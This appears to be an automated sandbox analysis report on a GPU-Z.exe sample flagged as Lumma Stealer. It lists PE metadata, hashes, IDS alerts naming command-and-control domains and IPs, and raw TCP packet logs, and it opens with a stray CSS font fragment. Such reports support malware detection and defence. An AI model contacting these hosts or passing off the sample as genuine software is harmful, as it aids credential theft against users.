Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ cyrillic /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qE52i1dC.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek /.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEl2i1dC.woff2) format('woff2');. unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;.}./ vietnamese */.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEV2i1dC.woff2) format('woff2');. unicode-range: U+0102-0103, U+

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.746372160849002
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GPU-Z.exe
File size:	5'304'288 bytes
MD5:	8a610c8380b7bc7c95472ea19ce2d4f3
SHA1:	183c6c553dbf468c3867dd094d6cc95a70a404dc
SHA256:	2f01809f78d096e770544c434b5bb63b3a0461559f7dd98a25a04bf66c8784f4
SHA512:	398ad6062e4917aeded5f303ae87861159002dc2d4c37595064d6929ebc718bc460884a9328f53171a1fafad80350d772142dafc5f6f7b5b7bdc4e4bd12b281d
SSDEEP:	98304:9XmejfcgConsANDqwo636BKK1KSlSsBq80hxTMqJhtl:9fc2pDqhT1KSnqlf7btl
TLSH:	613633EB6BE9844DF7FE96388CB7C4CA0634F88DA52AE70E21C0C17D9E318552D96351
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...... ..................N...........N.. ....O...@.. .......................@Q.....-.Q...`................................

File Icon


Icon Hash:	1f71c2cacc406117

Static PE Info

General

Entrypoint:	0x8ee4be
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x2084EEA6 [Thu Apr 16 14:45:58 1987 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file
Error Number:	-2146762495
Not Before, Not After	11/09/2024 15:31:56 12/09/2025 15:31:56
Subject Chain	CN=P2Soft Inc., O=P2Soft Inc., L=Ottawa, S=Ontario, C=CA, OID.1.3.6.1.4.1.311.60.2.1.3=CA, SERIALNUMBER=13224384, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	2D4C37FEDD0217B78539BA5068EE5B64
Thumbprint SHA-1:	63D85A92367C766320FA038F4A9D474E0DE83119
Thumbprint SHA-256:	4DF3994BB440B23DAD3D07DF7846E5DCE0FEB10B9909CAA3BA78FB7E9C68779E
Serial:	1B1339DC9E5B26B1DD81255A

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4ee468	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4f0000	0x212b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x50de00	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x512000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4ec4c4	0x4ec600	0431127708d4eabb62fd74567299de8f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4f0000	0x212b8	0x21400	e5cefc6b1c2a6e524fbe8d7eaa05d210	False	0.36822280310150374	data	5.170924359213136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x512000	0xc	0x200	adf4740a3df376e57bbb5f41daa46d9e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4f04d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.4884393063583815
RT_ICON	0x4f0a40	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.5806737588652482
RT_ICON	0x4f0ea8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.6656137184115524
RT_ICON	0x4f1750	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.43105065666041276
RT_ICON	0x4f27f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.48587420042643925
RT_ICON	0x4f36a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.34865145228215766
RT_ICON	0x4f5c48	0x529a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9936158138655065
RT_ICON	0x4faee4	0x6a0	Device independent bitmap graphic, 22 x 36 x 32, image size 1656	0.20106132075471697
RT_ICON	0x4fb584	0x4f0	Device independent bitmap graphic, 16 x 20 x 8, image size 200, resolution 2835 x 2835 px/m	0.25316455696202533
RT_ICON	0x4fba74	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.14979253112033195
RT_ICON	0x4fe01c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.18222326454033771
RT_ICON	0x4ff0c4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.2266393442622951
RT_ICON	0x4ffa4c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.2907801418439716
RT_ICON	0x4ffeb4	0x4f0	Device independent bitmap graphic, 13 x 20 x 8, image size 160, 256 important colors	0.10917721518987342
RT_ICON	0x5003a4	0x258	Device independent bitmap graphic, 13 x 20 x 32, image size 560	0.3466666666666667
RT_ICON	0x5005fc	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.21193659055956465
RT_GROUP_ICON	0x510e24	0x14	data	1.25
RT_GROUP_ICON	0x510e38	0x68	data	0.7307692307692307
RT_GROUP_ICON	0x510ea0	0x14	data	1.25
RT_GROUP_ICON	0x510eb4	0x14	data	1.25
RT_GROUP_ICON	0x510ec8	0x3e	data	0.8870967741935484
RT_GROUP_ICON	0x510f08	0x14	data	1.25
RT_GROUP_ICON	0x510f1c	0x14	data	1.25
RT_VERSION	0x510f30	0x388	data	0.4225663716814159

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T14:15:32.222362+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	62304	1.1.1.1	53	UDP
2024-12-29T14:15:32.460407+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.5	53803	1.1.1.1	53	UDP
2024-12-29T14:15:32.684389+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.5	62224	1.1.1.1	53	UDP
2024-12-29T14:15:32.916511+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.5	51068	1.1.1.1	53	UDP
2024-12-29T14:15:33.290571+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.5	64634	1.1.1.1	53	UDP
2024-12-29T14:15:33.525060+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.5	64650	1.1.1.1	53	UDP
2024-12-29T14:15:33.596335+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	1	192.168.2.5	49860	172.67.190.234	443	TCP
2024-12-29T14:15:33.596494+0100	1810003	Joe Security ANOMALY Windows PowerShell HTTP PE File Download	2	172.67.190.234	443	192.168.2.5	49860	TCP
2024-12-29T14:15:33.762729+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.5	51225	1.1.1.1	53	UDP
2024-12-29T14:15:33.995344+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.5	64530	1.1.1.1	53	UDP
2024-12-29T14:15:36.174040+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49866	104.102.49.254	443	TCP
2024-12-29T14:15:37.038136+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49866	104.102.49.254	443	TCP
2024-12-29T14:15:38.821268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49874	172.67.157.254	443	TCP
2024-12-29T14:15:39.581798+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49874	172.67.157.254	443	TCP
2024-12-29T14:15:39.581798+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49874	172.67.157.254	443	TCP
2024-12-29T14:15:40.210752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49879	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 14:14:51.070030928 CET	49703	80	192.168.2.5	151.101.2.133
Dec 29, 2024 14:14:51.070122957 CET	49704	80	192.168.2.5	151.101.2.133
Dec 29, 2024 14:14:51.191745043 CET	80	49703	151.101.2.133	192.168.2.5
Dec 29, 2024 14:14:51.191802979 CET	49703	80	192.168.2.5	151.101.2.133
Dec 29, 2024 14:14:51.192251921 CET	80	49704	151.101.2.133	192.168.2.5
Dec 29, 2024 14:14:51.192316055 CET	49704	80	192.168.2.5	151.101.2.133
Dec 29, 2024 14:14:56.219999075 CET	80	49707	217.20.58.101	192.168.2.5
Dec 29, 2024 14:14:56.220127106 CET	49707	80	192.168.2.5	217.20.58.101
Dec 29, 2024 14:14:56.220159054 CET	49707	80	192.168.2.5	217.20.58.101
Dec 29, 2024 14:14:56.341142893 CET	80	49707	217.20.58.101	192.168.2.5
Dec 29, 2024 14:15:31.871434927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:31.871476889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:31.871547937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:31.879404068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:31.879417896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.145107031 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.145196915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.195785999 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.195813894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.196099997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.241801023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.257654905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.299335957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596406937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596477032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596519947 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.596529007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596561909 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596595049 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.596600056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596628904 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.596662045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.596667051 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.612792969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.612849951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.612858057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.621221066 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.621273041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.621294022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.663661003 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.718143940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.773037910 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.773052931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.801493883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.801542997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.801572084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.811150074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.811194897 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.811203003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.819447994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.819508076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.819513083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.827466011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.827512980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.827517986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.835464954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.835514069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.835530043 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.835535049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.835572958 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.843450069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.851372004 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.851540089 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.851564884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.859467030 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.859519958 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.859532118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.866007090 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.866065979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.866074085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.878985882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.879053116 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.879081011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.885632038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.885660887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.885680914 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.885693073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.885734081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.918960094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:33.960587025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:33.999538898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.001862049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.001919985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.001943111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.011373043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.011382103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.011441946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.011454105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.020477057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.020530939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.020541906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.020585060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.024744987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.024811029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.033407927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.033416033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.033459902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.042265892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.042277098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.042325974 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.047408104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.047416925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.047466040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.054064035 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.054124117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.059881926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.059940100 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.065968990 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.066030025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.069098949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.069156885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.075067997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.075138092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.078277111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.078334093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.085690022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.085751057 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.088875055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.088937044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.301470995 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.301584005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.422372103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.422460079 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543217897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543268919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543298006 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543303013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543333054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543346882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543346882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543355942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543411970 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543418884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543495893 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543528080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543538094 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543545961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543565989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543571949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543581963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543586969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543598890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543639898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543656111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.543661118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.543703079 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.544435978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.544496059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.544529915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.544553995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.544553995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.544557095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.544569969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.544576883 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.544601917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.544609070 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.545288086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.545346022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.545587063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.545641899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.545722008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.545758009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.545764923 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.545777082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.545810938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.546483994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.546550989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.546621084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.546653986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.546679974 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.546680927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.546706915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.546706915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.546732903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.546741962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.547575951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.547607899 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.547636986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.547642946 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.547652960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.547679901 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.547688961 CET	443	49860	172.67.190.234	192.168.2.5
